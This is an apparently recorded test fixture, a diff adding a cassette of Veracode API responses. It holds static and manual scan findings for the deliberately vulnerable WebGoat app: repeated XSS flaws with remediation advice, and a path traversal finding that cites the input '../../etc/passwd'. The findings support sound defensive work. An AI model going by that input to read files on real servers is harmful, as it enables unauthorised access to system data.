+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:49 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:28:24 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:28:25 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs